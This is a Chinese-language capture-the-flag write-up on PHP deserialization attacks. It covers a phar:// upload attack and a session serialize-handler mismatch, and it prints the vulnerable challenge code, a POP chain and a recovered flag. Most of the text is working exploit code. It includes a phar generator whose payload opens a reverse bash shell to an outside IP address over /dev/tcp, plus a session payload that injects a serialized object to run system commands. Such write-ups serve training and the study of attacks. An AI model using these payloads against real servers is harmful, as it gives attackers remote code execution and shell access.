phar 反序列化
- 可以上传文件
- 可以读取文件
- 读取文件时,未对路径和协议进行过滤
P8
task.php
<!-- <?php
highlight_file(__FILE__);
class A { public $a;
public function __construct($a) { $this->a = $a; }
public function __destruct() { echo "NSSCTF".$this->a; } }
class B { public $b;
public function __construct($b) { $this->b = $b; }
public function __toString() { return eval($this->b); } }
if(isset($_FILES['file'])) { @mkdir("upload"); $uuid = uniqid(); move_uploaded_file($_FILES['file']['tmp_name'], "upload/".$uuid.".txt"); echo "Upload Success! FilePath: upload/".$uuid.".txt"; }
if(isset($_GET['file'])) { if(strstr($_GET['file'], "flag")) { die("Get out!"); } echo file_get_contents($_GET['file']); } ?>
|
解题思路
POC链构造:
A::destruct() B::toString() B::eval
NSSCTF{1f668815-b686-439e-918b-354615070a07}
生成phar文件:
<?php class A { public $a; } class B { public $b; } $a = new A(); $a->a = new B(); $a->a->b = "system(\"bash -c '(exec bash -i &>/dev/tcp/91.219.215.229/31114 0>&1) &'\");";
$phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); $phar->setMetadata($a); $phar->addFromString("test.txt", "test"); $phar->stopBuffering(); ?>
|
生成phar文件,上传后访问
http://node4.anna.nssctf.cn:28621/?file=phar://upload/65e835f244c3a.txt
|
Session 反序列化
index.php
<?php ini_set('session.serialize_handler', 'php_serialize'); session_start(); highlight_file(__FILE__); $_SESSION["name"] = $_GET["a"];
|
index2.php
<?php ini_set('session.serialize_handler', 'php'); session_start(); highlight_file(__FILE__); class NSS { public $ctf; function __construct() { $this->ctf = 'dir'; }
function __destruct() { system($this->ctf); } }
|
可以发现两个界面序列化的方式不同,index.php
当中采用的是php_serialize
,index2.php
当中采用的是php
.针对这种情况适用session
反序列化。
payload
?a=a:1:{s:4:"name";s:38:"|O:3:"NSS":1:{s:3:"ctf";s:3:"env";}";
|
解释,这个|
会把整个payload
分割为两个部分,|
前的一部分作为数组的键名,|
之后的部分作为数组的键值,数组的键值会被反序列化执行我们的命令。